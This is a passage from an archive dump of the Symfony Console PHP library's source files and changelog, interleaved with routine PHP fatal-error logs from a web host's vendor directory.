TypedReference($id, $class); foreach ($aliases as $alias) { $lazyCommandMap[$alias] = $id; } foreach ($tags as $tag) { if (isset($tag['command'])) { $aliases[] = $tag['command']; $lazyCommandMap[$tag['command']] = $id; } $description ??= $tag['description'] ?? null; } $definition->addMethodCall('setName', [$commandName]); if ($aliases) { $definition->addMethodCall('setAliases', [$aliases]); } if ($isHidden) { $definition->addMethodCall('setHidden', [true]); } if (!$description) { if (!$r = $container->getReflectionClass($class)) { throw new InvalidArgumentException(sprintf('Class "%s" used for service "%s" cannot be found.', $class, $id)); } if (!$r->isSubclassOf(Command::class)) { throw new InvalidArgumentException(sprintf('The service "%s" tagged "%s" must be a subclass of "%s".', $id, 'console.command', Command::class)); } $description = str_replace('%', '%%', $class::getDefaultDescription() ?? ''); } if ($description) { $definition->addMethodCall('setDescription', [$description]); $container->register('.'.$id.'.lazy', LazyCommand::class) ->setArguments([$commandName, $aliases, $description, $isHidden, new ServiceClosureArgument($lazyCommandRefs[$id])]); $lazyCommandRefs[$id] = new Reference('.'.$id.'.lazy'); } } $container ->register('console.command_loader', ContainerCommandLoader::class) ->setPublic(true) ->addTag('container.no_preload') ->setArguments([ServiceLocatorTagPass::register($container, $lazyCommandRefs), $lazyCommandMap]); $container->setParameter('console.command.ids', $serviceIds); } } console/DependencyInjection/error_log000064400000003160151113512020014033 0ustar00[19-Nov-2025 03:04:04 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/DependencyInjection/AddConsoleCommandPass.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/DependencyInjection/AddConsoleCommandPass.php on line 30 [19-Nov-2025 09:48:00 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/DependencyInjection/AddConsoleCommandPass.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/DependencyInjection/AddConsoleCommandPass.php on line 30 [25-Nov-2025 03:03:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/DependencyInjection/AddConsoleCommandPass.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/DependencyInjection/AddConsoleCommandPass.php on line 30 [26-Nov-2025 01:35:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/DependencyInjection/AddConsoleCommandPass.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/DependencyInjection/AddConsoleCommandPass.php on line 30 console/Color.php000064400000007305151113512020007771 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * @author Fabien Potencier */ final class Color { private const COLORS = [ 'black' => 0, 'red' => 1, 'green' => 2, 'yellow' => 3, 'blue' => 4, 'magenta' => 5, 'cyan' => 6, 'white' => 7, 'default' => 9, ]; private const BRIGHT_COLORS = [ 'gray' => 0, 'bright-red' => 1, 'bright-green' => 2, 'bright-yellow' => 3, 'bright-blue' => 4, 'bright-magenta' => 5, 'bright-cyan' => 6, 'bright-white' => 7, ]; private const AVAILABLE_OPTIONS = [ 'bold' => ['set' => 1, 'unset' => 22], 'underscore' => ['set' => 4, 'unset' => 24], 'blink' => ['set' => 5, 'unset' => 25], 'reverse' => ['set' => 7, 'unset' => 27], 'conceal' => ['set' => 8, 'unset' => 28], ]; private string $foreground; private string $background; private array $options = []; public function __construct(string $foreground = '', string $background = '', array $options = []) { $this->foreground = $this->parseColor($foreground); $this->background = $this->parseColor($background, true); foreach ($options as $option) { if (!isset(self::AVAILABLE_OPTIONS[$option])) { throw new InvalidArgumentException(sprintf('Invalid option specified: "%s". Expected one of (%s).', $option, implode(', ', array_keys(self::AVAILABLE_OPTIONS)))); } $this->options[$option] = self::AVAILABLE_OPTIONS[$option]; } } public function apply(string $text): string { return $this->set().$text.$this->unset(); } public function set(): string { $setCodes = []; if ('' !== $this->foreground) { $setCodes[] = $this->foreground; } if ('' !== $this->background) { $setCodes[] = $this->background; } foreach ($this->options as $option) { $setCodes[] = $option['set']; } if (0 === \count($setCodes)) { return ''; } return sprintf("\033[%sm", implode(';', $setCodes)); } public function unset(): string { $unsetCodes = []; if ('' !== $this->foreground) { $unsetCodes[] = 39; } if ('' !== $this->background) { $unsetCodes[] = 49; } foreach ($this->options as $option) { $unsetCodes[] = $option['unset']; } if (0 === \count($unsetCodes)) { return ''; } return sprintf("\033[%sm", implode(';', $unsetCodes)); } private function parseColor(string $color, bool $background = false): string { if ('' === $color) { return ''; } if ('#' === $color[0]) { return ($background ? '4' : '3').Terminal::getColorMode()->convertFromHexToAnsiColorCode($color); } if (isset(self::COLORS[$color])) { return ($background ? '4' : '3').self::COLORS[$color]; } if (isset(self::BRIGHT_COLORS[$color])) { return ($background ? '10' : '9').self::BRIGHT_COLORS[$color]; } throw new InvalidArgumentException(sprintf('Invalid "%s" color; expected one of (%s).', $color, implode(', ', array_merge(array_keys(self::COLORS), array_keys(self::BRIGHT_COLORS))))); } } console/CI/GithubActionReporter.php000064400000006117151113512020013311 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\CI; use Symfony\Component\Console\Output\OutputInterface; /** * Utility class for Github actions. * * @author Maxime Steinhausser */ class GithubActionReporter { private OutputInterface $output; /** * @see https://github.com/actions/toolkit/blob/5e5e1b7aacba68a53836a34db4a288c3c1c1585b/packages/core/src/command.ts#L80-L85 */ private const ESCAPED_DATA = [ '%' => '%25', "\r" => '%0D', "\n" => '%0A', ]; /** * @see https://github.com/actions/toolkit/blob/5e5e1b7aacba68a53836a34db4a288c3c1c1585b/packages/core/src/command.ts#L87-L94 */ private const ESCAPED_PROPERTIES = [ '%' => '%25', "\r" => '%0D', "\n" => '%0A', ':' => '%3A', ',' => '%2C', ]; public function __construct(OutputInterface $output) { $this->output = $output; } public static function isGithubActionEnvironment(): bool { return false !== getenv('GITHUB_ACTIONS'); } /** * Output an error using the Github annotations format. * * @see https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-commands-for-github-actions#setting-an-error-message */ public function error(string $message, string $file = null, int $line = null, int $col = null): void { $this->log('error', $message, $file, $line, $col); } /** * Output a warning using the Github annotations format. * * @see https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-commands-for-github-actions#setting-a-warning-message */ public function warning(string $message, string $file = null, int $line = null, int $col = null): void { $this->log('warning', $message, $file, $line, $col); } /** * Output a debug log using the Github annotations format. * * @see https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-commands-for-github-actions#setting-a-debug-message */ public function debug(string $message, string $file = null, int $line = null, int $col = null): void { $this->log('debug', $message, $file, $line, $col); } private function log(string $type, string $message, string $file = null, int $line = null, int $col = null): void { // Some values must be encoded. $message = strtr($message, self::ESCAPED_DATA); if (!$file) { // No file provided, output the message solely: $this->output->writeln(sprintf('::%s::%s', $type, $message)); return; } $this->output->writeln(sprintf('::%s file=%s,line=%s,col=%s::%s', $type, strtr($file, self::ESCAPED_PROPERTIES), strtr($line ?? 1, self::ESCAPED_PROPERTIES), strtr($col ?? 0, self::ESCAPED_PROPERTIES), $message)); } } console/SignalRegistry/SignalRegistry.php000064400000002603151113512020014623 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\SignalRegistry; final class SignalRegistry { private array $signalHandlers = []; public function __construct() { if (\function_exists('pcntl_async_signals')) { pcntl_async_signals(true); } } public function register(int $signal, callable $signalHandler): void { if (!isset($this->signalHandlers[$signal])) { $previousCallback = pcntl_signal_get_handler($signal); if (\is_callable($previousCallback)) { $this->signalHandlers[$signal][] = $previousCallback; } } $this->signalHandlers[$signal][] = $signalHandler; pcntl_signal($signal, $this->handle(...)); } public static function isSupported(): bool { return \function_exists('pcntl_signal'); } /** * @internal */ public function handle(int $signal): void { $count = \count($this->signalHandlers[$signal]); foreach ($this->signalHandlers[$signal] as $i => $signalHandler) { $hasNext = $i !== $count - 1; $signalHandler($signal, $hasNext); } } } console/Event/ConsoleEvent.php000064400000002520151113512020012372 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Event; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Contracts\EventDispatcher\Event; /** * Allows to inspect input and output of a command. * * @author Francesco Levorato */ class ConsoleEvent extends Event { protected $command; private InputInterface $input; private OutputInterface $output; public function __construct(?Command $command, InputInterface $input, OutputInterface $output) { $this->command = $command; $this->input = $input; $this->output = $output; } /** * Gets the command that is executed. */ public function getCommand(): ?Command { return $this->command; } /** * Gets the input instance. */ public function getInput(): InputInterface { return $this->input; } /** * Gets the output instance. */ public function getOutput(): OutputInterface { return $this->output; } } console/Event/ConsoleTerminateEvent.php000064400000002046151113512020014246 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Event; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Allows to manipulate the exit code of a command after its execution. * * @author Francesco Levorato */ final class ConsoleTerminateEvent extends ConsoleEvent { private int $exitCode; public function __construct(Command $command, InputInterface $input, OutputInterface $output, int $exitCode) { parent::__construct($command, $input, $output); $this->setExitCode($exitCode); } public function setExitCode(int $exitCode): void { $this->exitCode = $exitCode; } public function getExitCode(): int { return $this->exitCode; } } console/Event/error_log000064400000017020151113512020011173 0ustar00[19-Nov-2025 20:07:31 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleErrorEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleErrorEvent.php on line 23 [19-Nov-2025 20:08:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleCommandEvent.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleCommandEvent.php on line 19 [19-Nov-2025 20:10:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleTerminateEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleTerminateEvent.php on line 23 [19-Nov-2025 20:18:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleErrorEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleErrorEvent.php on line 23 [19-Nov-2025 20:18:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleCommandEvent.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleCommandEvent.php on line 19 [19-Nov-2025 20:20:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleTerminateEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleTerminateEvent.php on line 23 [19-Nov-2025 20:26:35 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleSignalEvent.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleSignalEvent.php on line 21 [20-Nov-2025 01:51:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleTerminateEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleTerminateEvent.php on line 23 [20-Nov-2025 01:51:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleCommandEvent.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleCommandEvent.php on line 19 [20-Nov-2025 01:51:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleErrorEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleErrorEvent.php on line 23 [20-Nov-2025 01:53:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleSignalEvent.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleSignalEvent.php on line 21 [20-Nov-2025 01:55:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleTerminateEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleTerminateEvent.php on line 23 [20-Nov-2025 02:02:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleSignalEvent.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleSignalEvent.php on line 21 [20-Nov-2025 02:03:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleTerminateEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleTerminateEvent.php on line 23 [25-Nov-2025 03:01:39 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Contracts\EventDispatcher\Event" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleEvent.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleEvent.php on line 24 [25-Nov-2025 03:02:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleCommandEvent.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleCommandEvent.php on line 19 [25-Nov-2025 04:31:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleSignalEvent.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleSignalEvent.php on line 21 [25-Nov-2025 05:28:13 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleErrorEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleErrorEvent.php on line 23 [25-Nov-2025 23:08:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleSignalEvent.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleSignalEvent.php on line 21 [25-Nov-2025 23:10:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleErrorEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleErrorEvent.php on line 23 [25-Nov-2025 23:10:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Event\ConsoleEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleCommandEvent.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleCommandEvent.php on line 19 [26-Nov-2025 01:32:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Contracts\EventDispatcher\Event" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleEvent.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Event/ConsoleEvent.php on line 24 console/Event/ConsoleErrorEvent.php000064400000002707151113512030013414 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Event; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Allows to handle throwables thrown while running a command. * * @author Wouter de Jong */ final class ConsoleErrorEvent extends ConsoleEvent { private \Throwable $error; private int $exitCode; public function __construct(InputInterface $input, OutputInterface $output, \Throwable $error, Command $command = null) { parent::__construct($command, $input, $output); $this->error = $error; } public function getError(): \Throwable { return $this->error; } public function setError(\Throwable $error): void { $this->error = $error; } public function setExitCode(int $exitCode): void { $this->exitCode = $exitCode; $r = new \ReflectionProperty($this->error, 'code'); $r->setValue($this->error, $this->exitCode); } public function getExitCode(): int { return $this->exitCode ?? (\is_int($this->error->getCode()) && 0 !== $this->error->getCode() ? $this->error->getCode() : 1); } } console/Event/ConsoleSignalEvent.php000064400000002634151113512030013537 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Event; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * @author marie */ final class ConsoleSignalEvent extends ConsoleEvent { private int $handlingSignal; private int|false $exitCode; public function __construct(Command $command, InputInterface $input, OutputInterface $output, int $handlingSignal, int|false $exitCode = 0) { parent::__construct($command, $input, $output); $this->handlingSignal = $handlingSignal; $this->exitCode = $exitCode; } public function getHandlingSignal(): int { return $this->handlingSignal; } public function setExitCode(int $exitCode): void { if ($exitCode < 0 || $exitCode > 255) { throw new \InvalidArgumentException('Exit code must be between 0 and 255.'); } $this->exitCode = $exitCode; } public function abortExit(): void { $this->exitCode = false; } public function getExitCode(): int|false { return $this->exitCode; } } console/Event/ConsoleCommandEvent.php000064400000002314151113512030013673 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Event; /** * Allows to do things before the command is executed, like skipping the command or changing the input. * * @author Fabien Potencier */ final class ConsoleCommandEvent extends ConsoleEvent { /** * The return code for skipped commands, this will also be passed into the terminate event. */ public const RETURN_CODE_DISABLED = 113; /** * Indicates if the command should be run or skipped. */ private bool $commandShouldRun = true; /** * Disables the command, so it won't be run. */ public function disableCommand(): bool { return $this->commandShouldRun = false; } public function enableCommand(): bool { return $this->commandShouldRun = true; } /** * Returns true if the command is runnable, false otherwise. */ public function commandShouldRun(): bool { return $this->commandShouldRun; } } console/CHANGELOG.md000064400000024045151113512030010014 0ustar00CHANGELOG ========= 6.3 --- * Add support for choosing exit code while handling signal, or to not exit at all * Add `ProgressBar::setPlaceholderFormatter` to set a placeholder attached to a instance, instead of being global. * Add `ReStructuredTextDescriptor` 6.2 --- * Improve truecolor terminal detection in some cases * Add support for 256 color terminals (conversion from Ansi24 to Ansi8 if terminal is capable of it) * Deprecate calling `*Command::setApplication()`, `*FormatterStyle::setForeground/setBackground()`, `Helper::setHelpSet()`, `Input*::setDefault()`, `Question::setAutocompleterCallback/setValidator()`without any arguments * Change the signature of `OutputFormatterStyleInterface::setForeground/setBackground()` to `setForeground/setBackground(?string)` * Change the signature of `HelperInterface::setHelperSet()` to `setHelperSet(?HelperSet)` 6.1 --- * Add support to display table vertically when calling setVertical() * Add method `__toString()` to `InputInterface` * Added `OutputWrapper` to prevent truncated URL in `SymfonyStyle::createBlock`. * Deprecate `Command::$defaultName` and `Command::$defaultDescription`, use the `AsCommand` attribute instead * Add suggested values for arguments and options in input definition, for input completion * Add `$resumeAt` parameter to `ProgressBar#start()`, so that one can easily 'resume' progress on longer tasks, and still get accurate `getEstimate()` and `getRemaining()` results. 6.0 --- * `Command::setHidden()` has a default value (`true`) for `$hidden` parameter and is final * Remove `Helper::strlen()`, use `Helper::width()` instead * Remove `Helper::strlenWithoutDecoration()`, use `Helper::removeDecoration()` instead * `AddConsoleCommandPass` can not be configured anymore * Remove `HelperSet::setCommand()` and `getCommand()` without replacement 5.4 --- * Add `TesterTrait::assertCommandIsSuccessful()` to test command * Deprecate `HelperSet::setCommand()` and `getCommand()` without replacement 5.3 --- * Add `GithubActionReporter` to render annotations in a Github Action * Add `InputOption::VALUE_NEGATABLE` flag to handle `--foo`/`--no-foo` options * Add the `Command::$defaultDescription` static property and the `description` attribute on the `console.command` tag to allow the `list` command to instantiate commands lazily * Add option `--short` to the `list` command * Add support for bright colors * Add `#[AsCommand]` attribute for declaring commands on PHP 8 * Add `Helper::width()` and `Helper::length()` * The `--ansi` and `--no-ansi` options now default to `null`. 5.2.0 ----- * Added `SingleCommandApplication::setAutoExit()` to allow testing via `CommandTester` * added support for multiline responses to questions through `Question::setMultiline()` and `Question::isMultiline()` * Added `SignalRegistry` class to stack signals handlers * Added support for signals: * Added `Application::getSignalRegistry()` and `Application::setSignalsToDispatchEvent()` methods * Added `SignalableCommandInterface` interface * Added `TableCellStyle` class to customize table cell * Removed `php ` prefix invocation from help messages. 5.1.0 ----- * `Command::setHidden()` is final since Symfony 5.1 * Add `SingleCommandApplication` * Add `Cursor` class 5.0.0 ----- * removed support for finding hidden commands using an abbreviation, use the full name instead * removed `TableStyle::setCrossingChar()` method in favor of `TableStyle::setDefaultCrossingChar()` * removed `TableStyle::setHorizontalBorderChar()` method in favor of `TableStyle::setDefaultCrossingChars()` * removed `TableStyle::getHorizontalBorderChar()` method in favor of `TableStyle::getBorderChars()` * removed `TableStyle::setVerticalBorderChar()` method in favor of `TableStyle::setVerticalBorderChars()` * removed `TableStyle::getVerticalBorderChar()` method in favor of `TableStyle::getBorderChars()` * removed support for returning `null` from `Command::execute()`, return `0` instead * `ProcessHelper::run()` accepts only `array|Symfony\Component\Process\Process` for its `command` argument * `Application::setDispatcher` accepts only `Symfony\Contracts\EventDispatcher\EventDispatcherInterface` for its `dispatcher` argument * renamed `Application::renderException()` and `Application::doRenderException()` to `renderThrowable()` and `doRenderThrowable()` respectively. 4.4.0 ----- * deprecated finding hidden commands using an abbreviation, use the full name instead * added `Question::setTrimmable` default to true to allow the answer to be trimmed * added method `minSecondsBetweenRedraws()` and `maxSecondsBetweenRedraws()` on `ProgressBar` * `Application` implements `ResetInterface` * marked all dispatched event classes as `@final` * added support for displaying table horizontally * deprecated returning `null` from `Command::execute()`, return `0` instead * Deprecated the `Application::renderException()` and `Application::doRenderException()` methods, use `renderThrowable()` and `doRenderThrowable()` instead. * added support for the `NO_COLOR` env var (https://no-color.org/) 4.3.0 ----- * added support for hyperlinks * added `ProgressBar::iterate()` method that simplify updating the progress bar when iterating * added `Question::setAutocompleterCallback()` to provide a callback function that dynamically generates suggestions as the user types 4.2.0 ----- * allowed passing commands as `[$process, 'ENV_VAR' => 'value']` to `ProcessHelper::run()` to pass environment variables * deprecated passing a command as a string to `ProcessHelper::run()`, pass it the command as an array of its arguments instead * made the `ProcessHelper` class final * added `WrappableOutputFormatterInterface::formatAndWrap()` (implemented in `OutputFormatter`) * added `capture_stderr_separately` option to `CommandTester::execute()` 4.1.0 ----- * added option to run suggested command if command is not found and only 1 alternative is available * added option to modify console output and print multiple modifiable sections * added support for iterable messages in output `write` and `writeln` methods 4.0.0 ----- * `OutputFormatter` throws an exception when unknown options are used * removed `QuestionHelper::setInputStream()/getInputStream()` * removed `Application::getTerminalWidth()/getTerminalHeight()` and `Application::setTerminalDimensions()/getTerminalDimensions()` * removed `ConsoleExceptionEvent` * removed `ConsoleEvents::EXCEPTION` 3.4.0 ----- * added `SHELL_VERBOSITY` env var to control verbosity * added `CommandLoaderInterface`, `FactoryCommandLoader` and PSR-11 `ContainerCommandLoader` for commands lazy-loading * added a case-insensitive command name matching fallback * added static `Command::$defaultName/getDefaultName()`, allowing for commands to be registered at compile time in the application command loader. Setting the `$defaultName` property avoids the need for filling the `command` attribute on the `console.command` tag when using `AddConsoleCommandPass`. 3.3.0 ----- * added `ExceptionListener` * added `AddConsoleCommandPass` (originally in FrameworkBundle) * [BC BREAK] `Input::getOption()` no longer returns the default value for options with value optional explicitly passed empty * added console.error event to catch exceptions thrown by other listeners * deprecated console.exception event in favor of console.error * added ability to handle `CommandNotFoundException` through the `console.error` event * deprecated default validation in `SymfonyQuestionHelper::ask` 3.2.0 ------ * added `setInputs()` method to CommandTester for ease testing of commands expecting inputs * added `setStream()` and `getStream()` methods to Input (implement StreamableInputInterface) * added StreamableInputInterface * added LockableTrait 3.1.0 ----- * added truncate method to FormatterHelper * added setColumnWidth(s) method to Table 2.8.3 ----- * remove readline support from the question helper as it caused issues 2.8.0 ----- * use readline for user input in the question helper when available to allow the use of arrow keys 2.6.0 ----- * added a Process helper * added a DebugFormatter helper 2.5.0 ----- * deprecated the dialog helper (use the question helper instead) * deprecated TableHelper in favor of Table * deprecated ProgressHelper in favor of ProgressBar * added ConsoleLogger * added a question helper * added a way to set the process name of a command * added a way to set a default command instead of `ListCommand` 2.4.0 ----- * added a way to force terminal dimensions * added a convenient method to detect verbosity level * [BC BREAK] made descriptors use output instead of returning a string 2.3.0 ----- * added multiselect support to the select dialog helper * added Table Helper for tabular data rendering * added support for events in `Application` * added a way to normalize EOLs in `ApplicationTester::getDisplay()` and `CommandTester::getDisplay()` * added a way to set the progress bar progress via the `setCurrent` method * added support for multiple InputOption shortcuts, written as `'-a|-b|-c'` * added two additional verbosity levels, VERBOSITY_VERY_VERBOSE and VERBOSITY_DEBUG 2.2.0 ----- * added support for colorization on Windows via ConEmu * add a method to Dialog Helper to ask for a question and hide the response * added support for interactive selections in console (DialogHelper::select()) * added support for autocompletion as you type in Dialog Helper 2.1.0 ----- * added ConsoleOutputInterface * added the possibility to disable a command (Command::isEnabled()) * added suggestions when a command does not exist * added a --raw option to the list command * added support for STDERR in the console output class (errors are now sent to STDERR) * made the defaults (helper set, commands, input definition) in Application more easily customizable * added support for the shell even if readline is not available * added support for process isolation in Symfony shell via `--process-isolation` switch * added support for `--`, which disables options parsing after that point (tokens will be parsed as arguments) console/Application.php000064400000133221151113512030011154 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Command\CompleteCommand; use Symfony\Component\Console\Command\DumpCompletionCommand; use Symfony\Component\Console\Command\HelpCommand; use Symfony\Component\Console\Command\LazyCommand; use Symfony\Component\Console\Command\ListCommand; use Symfony\Component\Console\Command\SignalableCommandInterface; use Symfony\Component\Console\CommandLoader\CommandLoaderInterface; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Completion\Suggestion; use Symfony\Component\Console\Event\ConsoleCommandEvent; use Symfony\Component\Console\Event\ConsoleErrorEvent; use Symfony\Component\Console\Event\ConsoleSignalEvent; use Symfony\Component\Console\Event\ConsoleTerminateEvent; use Symfony\Component\Console\Exception\CommandNotFoundException; use Symfony\Component\Console\Exception\ExceptionInterface; use Symfony\Component\Console\Exception\LogicException; use Symfony\Component\Console\Exception\NamespaceNotFoundException; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Helper\DebugFormatterHelper; use Symfony\Component\Console\Helper\DescriptorHelper; use Symfony\Component\Console\Helper\FormatterHelper; use Symfony\Component\Console\Helper\Helper; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Helper\ProcessHelper; use Symfony\Component\Console\Helper\QuestionHelper; use Symfony\Component\Console\Input\ArgvInput; use Symfony\Component\Console\Input\ArrayInput; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputAwareInterface; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\ConsoleOutput; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\SignalRegistry\SignalRegistry; use Symfony\Component\Console\Style\SymfonyStyle; use 